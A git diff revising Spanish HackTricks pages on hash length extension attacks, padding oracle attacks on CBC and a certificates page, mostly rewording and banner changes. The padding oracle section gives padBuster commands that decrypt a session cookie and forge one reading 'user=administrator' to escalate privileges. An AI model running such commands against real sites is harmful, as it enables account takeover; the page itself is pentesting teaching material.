KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
@ -72,14 +73,17 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
Kukarek Kukarek
``` ```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# Ataque de Extensión de Longitud de Hash # Hash Length Extension Attack
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io) #### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. [**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
El objetivo principal de WhiteIntel es combatir tomas de cuentas y ataques de ransomware resultantes de malwares que roban información. Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** en: Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
@ -30,28 +31,28 @@ Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita**
## Resumen del ataque ## Resumen del ataque
Imagina un servidor que está **firmando** algunos **datos** al **añadir** un **secreto** a algunos datos de texto claro conocidos y luego hasheando esos datos. Si conoces: Imagina un servidor que está **firmando** algunos **datos** al **agregar** un **secreto** a algunos datos de texto claro conocidos y luego hasheando esos datos. Si sabes:
* **La longitud del secreto** (esto también se puede obtener por fuerza bruta desde un rango de longitud dado) * **La longitud del secreto** (esto también se puede forzar a partir de un rango de longitud dado)
* **Los datos de texto claro** * **Los datos de texto claro**
* **El algoritmo (y es vulnerable a este ataque)** * **El algoritmo (y es vulnerable a este ataque)**
* **El relleno es conocido** * **El padding es conocido**
* Por lo general se usa uno predeterminado, por lo que si se cumplen los otros 3 requisitos, esto también lo está * Usualmente se usa uno por defecto, así que si se cumplen los otros 3 requisitos, esto también se cumple
* El relleno varía dependiendo de la longitud del secreto+datos, por eso se necesita la longitud del secreto * El padding varía dependiendo de la longitud del secreto + datos, por eso se necesita la longitud del secreto
Entonces, es posible para un **atacante** **añadir** **datos** y **generar** una firma válida para los **datos anteriores + datos añadidos**. Entonces, es posible que un **atacante** **agregue** **datos** y **genere** una **firma** válida para los **datos anteriores + datos agregados**.
### ¿Cómo? ### ¿Cómo?
Básicamente, los algoritmos vulnerables generan los hashes primero **hasheando un bloque de datos**, y luego, **a partir** del **hash creado previamente** (estado), **añaden el siguiente bloque de datos** y lo **hashean**. Básicamente, los algoritmos vulnerables generan los hashes primero **hasheando un bloque de datos**, y luego, **a partir** del **hash** (estado) **creado previamente**, **agregan el siguiente bloque de datos** y **lo hashean**.
Entonces, imagina que el secreto es "secreto" y los datos son "datos", el MD5 de "secretodata" es 6036708eba0d11f6ef52ad44e8b74d5b.\ Entonces, imagina que el secreto es "secreto" y los datos son "datos", el MD5 de "secretodata" es 6036708eba0d11f6ef52ad44e8b74d5b.\
Si un atacante quiere añadir la cadena "añadir" puede: Si un atacante quiere agregar la cadena "agregar", puede:
* Generar un MD5 de 64 "A"s * Generar un MD5 de 64 "A"s
* Cambiar el estado del hash inicializado previamente a 6036708eba0d11f6ef52ad44e8b74d5b * Cambiar el estado del hash previamente inicializado a 6036708eba0d11f6ef52ad44e8b74d5b
* Añadir la cadena "añadir" * Agregar la cadena "agregar"
* Finalizar el hash y el hash resultante será uno **válido para "secreto" + "datos" + "relleno" + "añadir"** * Terminar el hash y el hash resultante será un **válido para "secreto" + "datos" + "padding" + "agregar"**
### **Herramienta** ### **Herramienta**
@ -65,24 +66,25 @@ Puedes encontrar este ataque bien explicado en [https://blog.skullsecurity.org/2
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. [**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
El objetivo principal de WhiteIntel es combatir tomas de cuentas y ataques de ransomware resultantes de malwares que roban información. Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** en: Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Oráculo de Relleno # Padding Oracle
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
## CBC - Cipher Block Chaining ## CBC - Cipher Block Chaining
En el modo CBC, el **bloque cifrado anterior se utiliza como IV** para hacer XOR con el siguiente bloque: En el modo CBC, el **bloque cifrado anterior se utiliza como IV** para XOR con el siguiente bloque:
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png) ![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
@ -24,14 +25,14 @@ Para descifrar CBC se realizan las **operaciones** **opuestas**:
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png) ![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
Observa cómo es necesario utilizar una **clave de cifrado** y un **IV**. Nota cómo es necesario usar una **clave de cifrado** y un **IV**.
## Relleno de Mensaje ## Message Padding
Como el cifrado se realiza en **bloques de tamaño fijo**, generalmente se necesita **relleno** en el **último bloque** para completar su longitud.\ Dado que el cifrado se realiza en **bloques** de **tamaño** **fijo**, generalmente se necesita **relleno** en el **último** **bloque** para completar su longitud.\
Usualmente se utiliza **PKCS7**, que genera un relleno **repitiendo** el **número** de **bytes** **necesarios** para **completar** el bloque. Por ejemplo, si al último bloque le faltan 3 bytes, el relleno será `\x03\x03\x03`. Normalmente se utiliza **PKCS7**, que genera un relleno **repitiendo** el **número** de **bytes** **necesarios** para **completar** el bloque. Por ejemplo, si el último bloque le faltan 3 bytes, el relleno será `\x03\x03\x03`.
Veamos más ejemplos con **2 bloques de longitud 8 bytes**: Veamos más ejemplos con **2 bloques de longitud 8bytes**:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
@ -40,15 +41,15 @@ Veamos más ejemplos con **2 bloques de longitud 8 bytes**:
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
Observa cómo en el último ejemplo el **último bloque estaba lleno, por lo que se generó otro solo con relleno**. Nota cómo en el último ejemplo el **último bloque estaba completo, por lo que se generó otro solo con relleno**.
## Oráculo de Relleno ## Padding Oracle
Cuando una aplicación descifra datos cifrados, primero descifrará los datos; luego eliminará el relleno. Durante la limpieza del relleno, si un **relleno inválido desencadena un comportamiento detectable**, tienes una **vulnerabilidad de oráculo de relleno**. El comportamiento detectable puede ser un **error**, una **falta de resultados**, o una **respuesta más lenta**. Cuando una aplicación descifra datos cifrados, primero descifrará los datos; luego eliminará el relleno. Durante la limpieza del relleno, si un **relleno inválido desencadena un comportamiento detectable**, tienes una **vulnerabilidad de oracle de relleno**. El comportamiento detectable puede ser un **error**, una **falta de resultados** o una **respuesta más lenta**.
Si detectas este comportamiento, puedes **descifrar los datos cifrados** e incluso **cifrar cualquier texto plano**. Si detectas este comportamiento, puedes **descifrar los datos cifrados** e incluso **cifrar cualquier texto claro**.
### Cómo explotar ### How to exploit
Podrías usar [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) para explotar este tipo de vulnerabilidad o simplemente hacer Podrías usar [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) para explotar este tipo de vulnerabilidad o simplemente hacer
``` ```
@ -58,25 +59,25 @@ Para probar si la cookie de un sitio es vulnerable, podrías intentar:
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
``` ```
**Codificación 0** significa que se utiliza **base64** (pero hay otros disponibles, consulta el menú de ayuda). **Encoding 0** significa que se utiliza **base64** (pero hay otros disponibles, consulta el menú de ayuda).
También podrías **abusar de esta vulnerabilidad para cifrar nuevos datos. Por ejemplo, imagina que el contenido de la cookie es "**_**user=MyUsername**_**", entonces podrías cambiarlo a "\_user=administrator\_" y escalar privilegios dentro de la aplicación. También puedes hacerlo usando `padbuster` especificando el parámetro -plaintext**: También podrías **abusar de esta vulnerabilidad para cifrar nuevos datos. Por ejemplo, imagina que el contenido de la cookie es "**_**user=MyUsername**_**", entonces podrías cambiarlo a "\_user=administrator\_" y escalar privilegios dentro de la aplicación. También podrías hacerlo usando `paduster` especificando el parámetro -plaintext**:
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
``` ```
Si el sitio es vulnerable, `padbuster` intentará automáticamente encontrar cuándo ocurre el error de relleno, pero también puedes indicar el mensaje de error usando el parámetro **-error**. Si el sitio es vulnerable, `padbuster` intentará automáticamente encontrar cuándo ocurre el error de padding, pero también puedes indicar el mensaje de error utilizando el parámetro **-error**.
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
``` ```
### La teoría ### La teoría
En **resumen**, puedes comenzar a descifrar los datos encriptados adivinando los valores correctos que se pueden usar para crear todos los **diferentes rellenos**. Luego, el ataque de oráculo de relleno comenzará a descifrar bytes desde el final hasta el principio adivinando cuál será el valor correcto que **crea un relleno de 1, 2, 3, etc**. En **resumen**, puedes comenzar a descifrar los datos cifrados adivinando los valores correctos que se pueden usar para crear todos los **diferentes rellenos**. Luego, el ataque de oracle de relleno comenzará a descifrar bytes desde el final hasta el inicio adivinando cuál será el valor correcto que **crea un relleno de 1, 2, 3, etc**.
![](<../.gitbook/assets/image (561).png>) ![](<../.gitbook/assets/image (561).png>)
Imagina que tienes un texto encriptado que ocupa **2 bloques** formados por los bytes de **E0 a E15**.\ Imagina que tienes un texto cifrado que ocupa **2 bloques** formados por los bytes de **E0 a E15**.\
Para **descifrar** el **último** **bloque** (**E8** a **E15**), todo el bloque pasa por la "desencriptación del cifrado de bloque" generando los **bytes intermedios I0 a I15**.\ Para **descifrar** el **último** **bloque** (**E8** a **E15**), todo el bloque pasa por la "cifrado de bloque de descifrado" generando los **bytes intermedios I0 a I15**.\
Finalmente, cada byte intermedio es **XORed** con los bytes encriptados anteriores (E0 a E7). Así que: Finalmente, cada byte intermedio se **XOR** con los bytes cifrados anteriores (E0 a E7). Así que:
* `C15 = D(E15) ^ E7 = I15 ^ E7` * `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6` * `C14 = I14 ^ E6`
@ -84,41 +85,42 @@ Finalmente, cada byte intermedio es **XORed** con los bytes encriptados anterior
* `C12 = I12 ^ E4` * `C12 = I12 ^ E4`
* ... * ...
Ahora, es posible **modificar `E7` hasta que `C15` sea `0x01`**, lo que también será un relleno correcto. Entonces, en este caso: `\x01 = I15 ^ E'7` Ahora, es posible **modificar `E7` hasta que `C15` sea `0x01`**, lo que también será un relleno correcto. Así que, en este caso: `\x01 = I15 ^ E'7`
Así que, encontrando E'7, es **posible calcular I15**: `I15 = 0x01 ^ E'7` Entonces, encontrando E'7, es **posible calcular I15**: `I15 = 0x01 ^ E'7`
Lo que nos permite **calcular C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` Lo que nos permite **calcular C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Conociendo **C15**, ahora es posible **calcular C14**, pero esta vez probando a la fuerza el relleno `\x02\x02`. Conociendo **C15**, ahora es posible **calcular C14**, pero esta vez forzando el relleno `\x02\x02`.
Este BF es tan complejo como el anterior ya que es posible calcular el `E''15` cuyo valor es 0x02: `E''7 = \x02 ^ I15` así que solo es necesario encontrar el **`E'14`** que genere un **`C14` igual a `0x02`**.\ Este BF es tan complejo como el anterior ya que es posible calcular el `E''15` cuyo valor es 0x02: `E''7 = \x02 ^ I15` así que solo se necesita encontrar el **`E'14`** que genera un **`C14` igual a `0x02`**.\
Luego, realiza los mismos pasos para descifrar C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** Luego, haz los mismos pasos para descifrar C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Sigue esta cadena hasta que descifres todo el texto encriptado.** **Sigue esta cadena hasta que descifres todo el texto cifrado.**
### Detección de la vulnerabilidad ### Detección de la vulnerabilidad
Registra una cuenta e inicia sesión con esta cuenta.\ Registra una cuenta e inicia sesión con esta cuenta.\
Si **inicias sesión muchas veces** y siempre obtienes la **misma cookie**, probablemente haya **algo** **incorrecto** en la aplicación. La **cookie enviada de vuelta debería ser única** cada vez que inicias sesión. Si la cookie es **siempre** la **misma**, probablemente siempre será válida y **no habrá forma de invalidarla**. Si **inicias sesión muchas veces** y siempre obtienes la **misma cookie**, probablemente haya **algo** **mal** en la aplicación. La **cookie devuelta debería ser única** cada vez que inicias sesión. Si la cookie es **siempre** la **misma**, probablemente siempre será válida y no **habrá manera de invalidarla**.
Ahora, si intentas **modificar** la **cookie**, verás que recibes un **error** de la aplicación.\ Ahora, si intentas **modificar** la **cookie**, puedes ver que obtienes un **error** de la aplicación.\
Pero si haces un BF al relleno (usando padbuster por ejemplo) lograrás obtener otra cookie válida para un usuario diferente. Este escenario es altamente probablemente vulnerable a padbuster. Pero si forzas el relleno (usando padbuster por ejemplo) logras obtener otra cookie válida para un usuario diferente. Este escenario es altamente probable que sea vulnerable a padbuster.
### Referencias ### Referencias
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation) * [https://es.wikipedia.org/wiki/Modo\_de\_operaci%C3%B3n\_de\_cifrado\_por\_bloques](https://es.wikipedia.org/wiki/Modo_de_operaci%C3%B3n_de_cifrado_por_bloques)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,58 +1,59 @@
# Certificados # Certificados
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details> </details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
